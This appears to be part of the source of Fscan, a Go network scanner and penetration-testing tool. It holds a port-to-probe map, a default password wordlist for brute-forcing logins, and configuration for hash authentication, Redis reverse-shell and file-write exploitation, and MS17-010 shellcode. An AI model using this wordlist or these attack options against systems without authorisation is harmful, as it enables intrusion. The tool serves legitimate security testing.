711: {"RPCCheck"},
731: {"GenericLines"},
771: {"GenericLines"},
782: {"GenericLines"},
783: {"GetRequest"},
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
888: {"GetRequest"},
898: {"GetRequest"},
900: {"GetRequest"},
901: {"GetRequest"},
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
999: {"JavaRMI"},
1000: {"GenericLines"},
1010: {"GenericLines"},
1025: {"SMBProgNeg"},
1026: {"GetRequest"},
1027: {"SMBProgNeg"},
1028: {"TerminalServer"},
1029: {"DNSVersionBindReqTCP"},
1030: {"JavaRMI"},
1031: {"SMBProgNeg"},
1035: {"JavaRMI", "oracle-tns"},
1040: {"GenericLines"},
1041: {"GenericLines"},
1042: {"GenericLines", "GetRequest"},
1043: {"GenericLines"},
1068: {"TerminalServer"},
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
1090: {"JavaRMI", "Socks5", "Socks4"},
1095: {"Socks5", "Socks4"},
1098: {"JavaRMI"},
1099: {"JavaRMI"},
1100: {"JavaRMI", "Socks5", "Socks4"},
1101: {"JavaRMI"},
1102: {"JavaRMI"},
1103: {"JavaRMI"},
1105: {"Socks5", "Socks4"},
1109: {"Socks5", "Socks4"},
1111: {"Help"},
1112: {"SMBProgNeg"},
1129: {"JavaRMI"},
1194: {"OpenVPN"},
1199: {"JavaRMI"},
1200: {"NCP"},
1212: {"GenericLines"},
1214: {"GetRequest"},
1217: {"NCP"},
1220: {"GenericLines", "GetRequest"},
1234: {"GetRequest", "JavaRMI"},
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
1248: {"GenericLines"},
1302: {"GenericLines"},
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
1314: {"GetRequest"},
1344: {"GetRequest"},
1352: {"NotesRPC"},
1400: {"GenericLines"},
1414: {"ibm-mqseries"},
1415: {"ibm-mqseries"},
1416: {"ibm-mqseries"},
1417: {"ibm-mqseries"},
1418: {"ibm-mqseries"},
1419: {"ibm-mqseries"},
1420: {"ibm-mqseries"},
1432: {"GenericLines"},
1433: {"ms-sql-s", "RPCCheck"},
1440: {"JavaRMI"},
1443: {"GetRequest", "SSLSessionReq"},
1467: {"GenericLines"},
1500: {"Verifier"},
1501: {"GenericLines", "VerifierAdvanced"},
1503: {"GetRequest", "TerminalServer"},
1505: {"GenericLines"},
1521: {"oracle-tns"},
1522: {"oracle-tns"},
1525: {"oracle-tns"},
1526: {"oracle-tns", "informix", "drda"},
1527: {"drda"},
1549: {"WMSRequest"},
1550: {"X11Probe"},
1574: {"oracle-tns"},
1583: {"pervasive-relational", "pervasive-btrieve"},
1599: {"LibreOfficeImpressSCPair"},
1610: {"GetRequest"},
1611: {"GetRequest"},
1666: {"GenericLines"},
1687: {"GenericLines"},
1688: {"GenericLines"},
1702: {"LDAPSearchReq", "LDAPBindReq"},
1720: {"TerminalServer"},
1748: {"oracle-tns"},
1754: {"oracle-tns"},
1755: {"WMSRequest"},
1761: {"LANDesk-RC"},
1762: {"LANDesk-RC"},
1763: {"LANDesk-RC"},
1830: {"GetRequest"},
1883: {"mqtt"},
1900: {"GetRequest"},
1911: {"niagara-fox"},
1935: {"TerminalServer"},
1962: {"pcworx"},
1972: {"NotesRPC"},
1981: {"JavaRMI"},
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
2001: {"GetRequest"},
2002: {"GetRequest", "X11Probe"},
2010: {"GenericLines"},
2023: {"tn3270"},
2024: {"GenericLines"},
2030: {"GetRequest"},
2040: {"TerminalServer"},
2049: {"RPCCheck"},
2050: {"dominoconsole"},
2064: {"GetRequest"},
2068: {"DNSVersionBindReqTCP"},
2100: {"FourOhFourRequest"},
2105: {"DNSVersionBindReqTCP"},
2160: {"GetRequest"},
2181: {"Memcache"},
2199: {"JavaRMI"},
2221: {"SSLSessionReq"},
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
2301: {"HTTPOptions"},
2306: {"GetRequest"},
2323: {"tn3270"},
2375: {"docker"},
2376: {"SSLSessionReq", "docker"},
2379: {"docker"},
2380: {"docker"},
2396: {"GetRequest"},
2401: {"Help"},
2443: {"SSLSessionReq"},
2481: {"giop"},
2482: {"giop"},
2525: {"GetRequest"},
2600: {"GenericLines"},
2627: {"Help"},
2701: {"LANDesk-RC"},
2715: {"GetRequest"},
2809: {"JavaRMI"},
2869: {"GetRequest"},
2947: {"LPDString"},
2967: {"DNSVersionBindReqTCP"},
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
3001: {"NCP"},
3002: {"GetRequest", "NCP"},
3003: {"NCP"},
3004: {"NCP"},
3005: {"GenericLines", "NCP"},
3006: {"SMBProgNeg", "NCP"},
3025: {"Hello"},
3031: {"NCP"},
3050: {"firebird"},
3052: {"GetRequest", "RTSPRequest"},
3127: {"mydoom"},
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
3129: {"mydoom"},
3130: {"mydoom"},
3131: {"mydoom"},
3132: {"mydoom"},
3133: {"mydoom"},
3134: {"mydoom"},
3135: {"mydoom"},
3136: {"mydoom"},
3137: {"mydoom"},
3138: {"mydoom"},
3139: {"mydoom"},
3140: {"mydoom"},
3141: {"mydoom"},
3142: {"mydoom"},
3143: {"mydoom"},
3144: {"mydoom"},
3145: {"mydoom"},
3146: {"mydoom"},
3147: {"mydoom"},
3148: {"mydoom"},
3149: {"mydoom"},
3150: {"mydoom"},
3151: {"mydoom"},
3152: {"mydoom"},
3153: {"mydoom"},
3154: {"mydoom"},
3155: {"mydoom"},
3156: {"mydoom"},
3157: {"mydoom"},
3158: {"mydoom"},
3159: {"mydoom"},
3160: {"mydoom"},
3161: {"mydoom"},
3162: {"mydoom"},
3163: {"mydoom"},
3164: {"mydoom"},
3165: {"mydoom"},
3166: {"mydoom"},
3167: {"mydoom"},
3168: {"mydoom"},
3169: {"mydoom"},
3170: {"mydoom"},
3171: {"mydoom"},
3172: {"mydoom"},
3173: {"mydoom"},
3174: {"mydoom"},
3175: {"mydoom"},
3176: {"mydoom"},
3177: {"mydoom"},
3178: {"mydoom"},
3179: {"mydoom"},
3180: {"mydoom"},
3181: {"mydoom"},
3182: {"mydoom"},
3183: {"mydoom"},
3184: {"mydoom"},
3185: {"mydoom"},
3186: {"mydoom"},
3187: {"mydoom"},
3188: {"mydoom"},
3189: {"mydoom"},
3190: {"mydoom"},
3191: {"mydoom"},
3192: {"mydoom"},
3193: {"mydoom"},
3194: {"mydoom"},
3195: {"mydoom"},
3196: {"mydoom"},
3197: {"mydoom"},
3198: {"mydoom"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq"},
3273: {"JavaRMI"},
3280: {"GetRequest"},
3310: {"GenericLines", "VersionRequest"},
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
3351: {"pervasive-relational", "pervasive-btrieve"},
3372: {"GetRequest", "RTSPRequest"},
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
3443: {"GetRequest", "SSLSessionReq"},
3493: {"Help"},
3531: {"GetRequest"},
3632: {"DistCCD"},
3689: {"GetRequest"},
3790: {"metasploit-msgrpc"},
3872: {"GetRequest"},
3892: {"LDAPSearchReq", "LDAPBindReq"},
3900: {"SMBProgNeg", "JavaRMI"},
3940: {"GenericLines"},
4000: {"GetRequest", "NoMachine"},
4035: {"LDAPBindReq", "LDAPBindReq"},
4045: {"RPCCheck"},
4155: {"GenericLines"},
4369: {"epmd"},
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4533: {"rotctl"},
4567: {"GetRequest"},
4660: {"GetRequest"},
4711: {"GetRequest", "piholeVersion"},
4899: {"Radmin"},
4911: {"SSLSessionReq", "niagara-fox"},
4999: {"RPCCheck"},
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
5001: {"WMSRequest", "ZendJavaBridge"},
5002: {"ZendJavaBridge"},
5009: {"SMBProgNeg"},
5060: {"GetRequest", "SIPOptions"},
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
5201: {"iperf3"},
5222: {"GetRequest"},
5232: {"HTTPOptions"},
5269: {"GetRequest"},
5280: {"GetRequest"},
5302: {"X11Probe"},
5323: {"DNSVersionBindReqTCP"},
5400: {"GenericLines"},
5427: {"GetRequest"},
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
5443: {"SSLSessionReq"},
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
5521: {"JavaRMI"},
5530: {"DNSVersionBindReqTCP"},
5550: {"SSLSessionReq", "SSLv23SessionReq"},
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
5556: {"DNSVersionBindReqTCP"},
5570: {"GenericLines"},
5580: {"JavaRMI"},
5600: {"SMBProgNeg"},
5701: {"hazelcast-http"},
5702: {"hazelcast-http"},
5703: {"hazelcast-http"},
5704: {"hazelcast-http"},
5705: {"hazelcast-http"},
5706: {"hazelcast-http"},
5707: {"hazelcast-http"},
5708: {"hazelcast-http"},
5709: {"LANDesk-RC", "hazelcast-http"},
5800: {"GetRequest"},
5801: {"GetRequest"},
5802: {"GetRequest"},
5803: {"GetRequest"},
5868: {"SSLSessionReq"},
5900: {"GetRequest"},
5985: {"GetRequest"},
5986: {"GetRequest", "SSLSessionReq"},
5999: {"JavaRMI"},
6000: {"HTTPOptions", "X11Probe"},
6001: {"X11Probe"},
6002: {"X11Probe"},
6003: {"X11Probe"},
6004: {"X11Probe"},
6005: {"X11Probe"},
6006: {"X11Probe"},
6007: {"X11Probe"},
6008: {"X11Probe"},
6009: {"X11Probe"},
6010: {"X11Probe"},
6011: {"X11Probe"},
6012: {"X11Probe"},
6013: {"X11Probe"},
6014: {"X11Probe"},
6015: {"X11Probe"},
6016: {"X11Probe"},
6017: {"X11Probe"},
6018: {"X11Probe"},
6019: {"X11Probe"},
6020: {"X11Probe"},
6050: {"DNSStatusRequestTCP"},
6060: {"JavaRMI"},
6103: {"GetRequest"},
6112: {"GenericLines"},
6163: {"HELP4STOMP"},
6251: {"SSLSessionReq"},
6346: {"GetRequest"},
6379: {"redis-server"},
6432: {"GenericLines"},
6443: {"SSLSessionReq"},
6543: {"DNSVersionBindReqTCP"},
6544: {"GetRequest"},
6560: {"Help"},
6588: {"Socks5", "Socks4"},
6600: {"GetRequest"},
6660: {"Socks5", "Socks4"},
6661: {"Socks5", "Socks4"},
6662: {"Socks5", "Socks4"},
6663: {"Socks5", "Socks4"},
6664: {"Socks5", "Socks4"},
6665: {"Socks5", "Socks4"},
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
6670: {"GenericLines", "Help"},
6679: {"TLSSessionReq", "SSLSessionReq"},
6697: {"TLSSessionReq", "SSLSessionReq"},
6699: {"GetRequest"},
6715: {"JMON", "JMON"},
6789: {"JavaRMI"},
6802: {"NCP"},
6969: {"GetRequest"},
6996: {"JavaRMI"},
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
7002: {"GetRequest"},
7007: {"GetRequest"},
7008: {"DNSVersionBindReqTCP"},
7070: {"GetRequest", "RTSPRequest"},
7100: {"GetRequest", "X11Probe"},
7101: {"X11Probe"},
7144: {"GenericLines"},
7145: {"GenericLines"},
7171: {"NotesRPC"},
7200: {"GenericLines"},
7210: {"SSLSessionReq", "SSLv23SessionReq"},
7272: {"SSLSessionReq", "SSLv23SessionReq"},
7402: {"GetRequest"},
7443: {"GetRequest", "SSLSessionReq"},
7461: {"SMBProgNeg"},
7700: {"JavaRMI"},
7776: {"GetRequest"},
7777: {"X11Probe", "Socks5", "Arucer"},
7780: {"GenericLines"},
7800: {"JavaRMI"},
7801: {"JavaRMI"},
7878: {"JavaRMI"},
7887: {"xmlsysd"},
7890: {"JavaRMI"},
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
8001: {"GetRequest", "FourOhFourRequest"},
8002: {"GetRequest", "FourOhFourRequest"},
8003: {"GetRequest", "FourOhFourRequest"},
8004: {"GetRequest", "FourOhFourRequest"},
8005: {"GetRequest", "FourOhFourRequest"},
8006: {"GetRequest", "FourOhFourRequest"},
8007: {"GetRequest", "FourOhFourRequest"},
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
8050: {"JavaRMI"},
8051: {"JavaRMI"},
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
8082: {"GetRequest", "FourOhFourRequest"},
8083: {"GetRequest", "FourOhFourRequest"},
8084: {"GetRequest", "FourOhFourRequest"},
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
8087: {"riak-pbc"},
8088: {"GetRequest", "Socks5", "Socks4"},
8091: {"JavaRMI"},
8118: {"GetRequest"},
8138: {"GenericLines"},
8181: {"GetRequest", "SSLSessionReq"},
8194: {"SSLSessionReq", "SSLv23SessionReq"},
8205: {"JavaRMI"},
8303: {"JavaRMI"},
8307: {"RPCCheck"},
8333: {"RPCCheck"},
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
8530: {"GetRequest"},
8531: {"GetRequest", "SSLSessionReq"},
8642: {"JavaRMI"},
8686: {"JavaRMI"},
8701: {"JavaRMI"},
8728: {"NotesRPC"},
8770: {"apple-iphoto"},
8880: {"GetRequest", "FourOhFourRequest"},
8881: {"GetRequest", "FourOhFourRequest"},
8882: {"GetRequest", "FourOhFourRequest"},
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
8884: {"GetRequest", "FourOhFourRequest"},
8885: {"GetRequest", "FourOhFourRequest"},
8886: {"GetRequest", "FourOhFourRequest"},
8887: {"GetRequest", "FourOhFourRequest"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
8889: {"JavaRMI"},
8890: {"JavaRMI"},
8901: {"JavaRMI"},
8902: {"JavaRMI"},
8903: {"JavaRMI"},
8999: {"JavaRMI"},
9000: {"GenericLines", "GetRequest"},
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
9002: {"GenericLines", "tor-versions"},
9003: {"GenericLines", "JavaRMI"},
9004: {"JavaRMI"},
9005: {"JavaRMI"},
9030: {"GetRequest"},
9050: {"GetRequest", "JavaRMI"},
9080: {"GetRequest"},
9088: {"informix", "drda"},
9089: {"informix", "drda"},
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
9091: {"informix", "drda"},
9092: {"informix", "drda"},
9093: {"informix", "drda"},
9094: {"informix", "drda"},
9095: {"informix", "drda"},
9096: {"informix", "drda"},
9097: {"informix", "drda"},
9098: {"informix", "drda"},
9099: {"JavaRMI", "informix", "drda"},
9100: {"hp-pjl", "informix", "drda"},
9101: {"hp-pjl"},
9102: {"SMBProgNeg", "hp-pjl"},
9103: {"SMBProgNeg", "hp-pjl"},
9104: {"hp-pjl"},
9105: {"hp-pjl"},
9106: {"hp-pjl"},
9107: {"hp-pjl"},
9300: {"JavaRMI"},
9390: {"metasploit-xmlrpc"},
9443: {"GetRequest", "SSLSessionReq"},
9481: {"Socks5"},
9500: {"JavaRMI"},
9711: {"JavaRMI"},
9761: {"insteonPLM"},
9801: {"GenericLines"},
9809: {"JavaRMI"},
9810: {"JavaRMI"},
9811: {"JavaRMI"},
9812: {"JavaRMI"},
9813: {"JavaRMI"},
9814: {"JavaRMI"},
9815: {"JavaRMI"},
9875: {"JavaRMI"},
9910: {"JavaRMI"},
9930: {"ibm-db2-das"},
9931: {"ibm-db2-das"},
9932: {"ibm-db2-das"},
9933: {"ibm-db2-das"},
9934: {"ibm-db2-das"},
9991: {"JavaRMI"},
9998: {"teamspeak-tcpquery-ver"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
10002: {"ZendJavaBridge", "SharpTV"},
10003: {"ZendJavaBridge"},
10005: {"GetRequest"},
10031: {"HTTPOptions"},
10098: {"JavaRMI"},
10099: {"JavaRMI"},
10162: {"JavaRMI"},
10333: {"teamtalk-login"},
10443: {"GetRequest", "SSLSessionReq"},
10990: {"JavaRMI"},
11001: {"JavaRMI"},
11099: {"JavaRMI"},
11210: {"couchbase-data"},
11211: {"Memcache"},
11333: {"JavaRMI"},
11371: {"GenericLines", "GetRequest"},
11711: {"LDAPSearchReq"},
11712: {"LDAPSearchReq"},
11965: {"GenericLines"},
12000: {"JavaRMI"},
12345: {"Help", "OfficeScan"},
13013: {"GetRequest", "JavaRMI"},
13666: {"GetRequest"},
13720: {"GenericLines"},
13722: {"GetRequest"},
13783: {"DNSVersionBindReqTCP"},
14000: {"JavaRMI"},
14238: {"oracle-tns"},
14443: {"GetRequest", "SSLSessionReq"},
14534: {"GetRequest"},
14690: {"Help"},
15000: {"GenericLines", "GetRequest", "JavaRMI"},
15001: {"GenericLines", "JavaRMI"},
15002: {"GenericLines", "SSLSessionReq"},
15200: {"JavaRMI"},
16000: {"JavaRMI"},
17007: {"RPCCheck"},
17200: {"JavaRMI"},
17988: {"GetRequest"},
18086: {"GenericLines"},
18182: {"SMBProgNeg"},
18264: {"GetRequest"},
18980: {"JavaRMI"},
19150: {"GenericLines", "gkrellm"},
19350: {"LPDString"},
19700: {"kumo-server"},
19800: {"kumo-server"},
20000: {"JavaRMI", "oracle-tns"},
20547: {"proconos"},
22001: {"NotesRPC"},
22490: {"Help"},
23791: {"JavaRMI"},
25565: {"minecraft-ping"},
26214: {"GenericLines"},
26256: {"JavaRMI"},
26470: {"GenericLines"},
27000: {"SMBProgNeg"},
27001: {"SMBProgNeg"},
27002: {"SMBProgNeg"},
27003: {"SMBProgNeg"},
27004: {"SMBProgNeg"},
27005: {"SMBProgNeg"},
27006: {"SMBProgNeg"},
27007: {"SMBProgNeg"},
27008: {"SMBProgNeg"},
27009: {"SMBProgNeg"},
27010: {"SMBProgNeg"},
27017: {"mongodb"},
27036: {"TLS-PSK"},
30444: {"GenericLines"},
31099: {"JavaRMI"},
31337: {"GetRequest", "SIPOptions"},
31416: {"GenericLines"},
32211: {"LPDString"},
32750: {"RPCCheck"},
32751: {"RPCCheck"},
32752: {"RPCCheck"},
32753: {"RPCCheck"},
32754: {"RPCCheck"},
32755: {"RPCCheck"},
32756: {"RPCCheck"},
32757: {"RPCCheck"},
32758: {"RPCCheck"},
32759: {"RPCCheck"},
32760: {"RPCCheck"},
32761: {"RPCCheck"},
32762: {"RPCCheck"},
32763: {"RPCCheck"},
32764: {"RPCCheck"},
32765: {"RPCCheck"},
32766: {"RPCCheck"},
32767: {"RPCCheck"},
32768: {"RPCCheck"},
32769: {"RPCCheck"},
32770: {"RPCCheck"},
32771: {"RPCCheck"},
32772: {"RPCCheck"},
32773: {"RPCCheck"},
32774: {"RPCCheck"},
32775: {"RPCCheck"},
32776: {"RPCCheck"},
32777: {"RPCCheck"},
32778: {"RPCCheck"},
32779: {"RPCCheck"},
32780: {"RPCCheck"},
32781: {"RPCCheck"},
32782: {"RPCCheck"},
32783: {"RPCCheck"},
32784: {"RPCCheck"},
32785: {"RPCCheck"},
32786: {"RPCCheck"},
32787: {"RPCCheck"},
32788: {"RPCCheck"},
32789: {"RPCCheck"},
32790: {"RPCCheck"},
32791: {"RPCCheck"},
32792: {"RPCCheck"},
32793: {"RPCCheck"},
32794: {"RPCCheck"},
32795: {"RPCCheck"},
32796: {"RPCCheck"},
32797: {"RPCCheck"},
32798: {"RPCCheck"},
32799: {"RPCCheck"},
32800: {"RPCCheck"},
32801: {"RPCCheck"},
32802: {"RPCCheck"},
32803: {"RPCCheck"},
32804: {"RPCCheck"},
32805: {"RPCCheck"},
32806: {"RPCCheck"},
32807: {"RPCCheck"},
32808: {"RPCCheck"},
32809: {"RPCCheck"},
32810: {"RPCCheck"},
32913: {"JavaRMI"},
33000: {"JavaRMI"},
33015: {"tarantool"},
34012: {"GenericLines"},
37435: {"HTTPOptions"},
37718: {"JavaRMI"},
38978: {"RPCCheck"},
40193: {"GetRequest"},
41523: {"DNSStatusRequestTCP"},
44443: {"GetRequest", "SSLSessionReq"},
45230: {"JavaRMI"},
47001: {"JavaRMI"},
47002: {"JavaRMI"},
49152: {"FourOhFourRequest"},
49153: {"mongodb"},
49400: {"HTTPOptions"},
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
50001: {"ibm-db2"},
50002: {"ibm-db2"},
50003: {"ibm-db2"},
50004: {"ibm-db2"},
50005: {"ibm-db2"},
50006: {"ibm-db2"},
50007: {"ibm-db2"},
50008: {"ibm-db2"},
50009: {"ibm-db2"},
50010: {"ibm-db2"},
50011: {"ibm-db2"},
50012: {"ibm-db2"},
50013: {"ibm-db2"},
50014: {"ibm-db2"},
50015: {"ibm-db2"},
50016: {"ibm-db2"},
50017: {"ibm-db2"},
50018: {"ibm-db2"},
50019: {"ibm-db2"},
50020: {"ibm-db2"},
50021: {"ibm-db2"},
50022: {"ibm-db2"},
50023: {"ibm-db2"},
50024: {"ibm-db2"},
50025: {"ibm-db2"},
50050: {"JavaRMI"},
50500: {"JavaRMI"},
50501: {"JavaRMI"},
50502: {"JavaRMI"},
50503: {"JavaRMI"},
50504: {"JavaRMI"},
50505: {"metasploit-msgrpc"},
51234: {"teamspeak-tcpquery-ver"},
55552: {"metasploit-msgrpc"},
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
55555: {"GetRequest"},
56667: {"GenericLines"},
59100: {"kumo-server"},
60000: {"ibm-db2", "drda"},
60001: {"ibm-db2"},
60002: {"ibm-db2"},
60003: {"ibm-db2"},
60004: {"ibm-db2"},
60005: {"ibm-db2"},
60006: {"ibm-db2"},
60007: {"ibm-db2"},
60008: {"ibm-db2"},
60009: {"ibm-db2"},
60010: {"ibm-db2"},
60011: {"ibm-db2"},
60012: {"ibm-db2"},
60013: {"ibm-db2"},
60014: {"ibm-db2"},
60015: {"ibm-db2"},
60016: {"ibm-db2"},
60017: {"ibm-db2"},
60018: {"ibm-db2"},
60019: {"ibm-db2"},
60020: {"ibm-db2"},
60021: {"ibm-db2"},
60022: {"ibm-db2"},
60023: {"ibm-db2"},
60024: {"ibm-db2"},
60025: {"ibm-db2"},
60443: {"GetRequest", "SSLSessionReq"},
61613: {"HELP4STOMP"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
var (
Outputfile string // 输出文件路径
OutputFormat string // 输出格式
)
// 添加一个全局的进度条变量
var ProgressBar *progressbar.ProgressBar
// 添加一个全局互斥锁来控制输出
var OutputMutex sync.Mutex
type PocInfo struct {
Target string
PocName string
}
var (
// =========================================================
// 扫描目标配置
// =========================================================
Ports string // 要扫描的端口列表,如"80,443,8080"
ExcludePorts string // 要排除的端口列表
ExcludeHosts string // 要排除的主机列表
AddPorts string // 额外添加的端口列表
HostPort []string // 主机:端口格式的目标列表
// =========================================================
// 认证与凭据配置
// =========================================================
Username string // 用于认证的用户名
Password string // 用于认证的密码
AddUsers string // 额外添加的用户名列表
AddPasswords string // 额外添加的密码列表
// 特定服务认证
Domain string // Active Directory/SMB域名
HashValue string // 用于哈希认证的单个哈希值
HashValues []string // 哈希值列表
HashBytes [][]byte // 二进制格式的哈希值列表
HashFile string // 包含哈希值的文件路径
SshKeyPath string // SSH私钥文件路径
// =========================================================
// 扫描控制配置
// =========================================================
ScanMode string // 扫描模式或指定的插件列表
ThreadNum int // 并发扫描线程数
ModuleThreadNum int // 模块内部线程数
Timeout int64 // 单个扫描操作超时时间(秒)
GlobalTimeout int64 // 整体扫描超时时间(秒)
LiveTop int // 显示的存活主机排名数量
DisablePing bool // 是否禁用主机存活性检测
UsePing bool // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool // 是否跳过服务指纹识别
LocalMode bool // 是否启用本地信息收集模式
// =========================================================
// 输入文件配置
// =========================================================
HostsFile string // 包含目标主机的文件路径
UsersFile string // 包含用户名列表的文件路径
PasswordsFile string // 包含密码列表的文件路径
PortsFile string // 包含端口列表的文件路径
// =========================================================
// Web扫描配置
// =========================================================
TargetURL string // 单个目标URL
URLsFile string // 包含URL列表的文件路径
URLs []string // 解析后的URL目标列表
WebTimeout int64 // Web请求超时时间(秒),默认5秒
HttpProxy string // HTTP代理地址
Socks5Proxy string // SOCKS5代理地址
// =========================================================
// POC与漏洞利用配置
// =========================================================
// POC配置
PocPath string // POC脚本路径
Pocinfo PocInfo // POC详细信息结构
DisablePocScan bool //nopoc
// Redis利用
RedisFile string // Redis利用目标文件
RedisShell string // Redis反弹Shell命令
DisableRedis bool // 是否禁用Redis利用测试
RedisWritePath string // Redis文件写入路径
RedisWriteContent string // Redis文件写入内容
RedisWriteFile string // Redis写入的源文件
// 其他漏洞利用
Shellcode string // 用于MS17010等漏洞利用的Shellcode
// =========================================================
// 暴力破解控制
// =========================================================
DisableBrute bool // 是否禁用暴力破解模块
MaxRetries int // 连接失败最大重试次数
// =========================================================
// 输出与显示配置
// =========================================================
DisableSave bool // 是否禁止保存扫描结果
Silent bool // 是否启用静默模式
NoColor bool // 是否禁用彩色输出
LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
ShowScanPlan bool // 是否显示扫描计划详情
SlowLogOutput bool // 是否启用慢速日志输出
Language string // 界面语言设置
ApiAddr string // API地址
SecretKey string // 加密密钥
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
Cookie string
)
================================================
FILE: Common/Flag.go
================================================
package Common
import (
"flag"
"fmt"
"os"
"strings"
"github.com/fatih/color"
)
func Banner() {
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
c.Print(line)
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
c := color.New(colors[1])
c.Printf(" Fscan Version: %s\n\n", version)
}
// Flag 解析命令行参数并配置扫描选项
func Flag(Info *HostInfo) {
Banner()
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
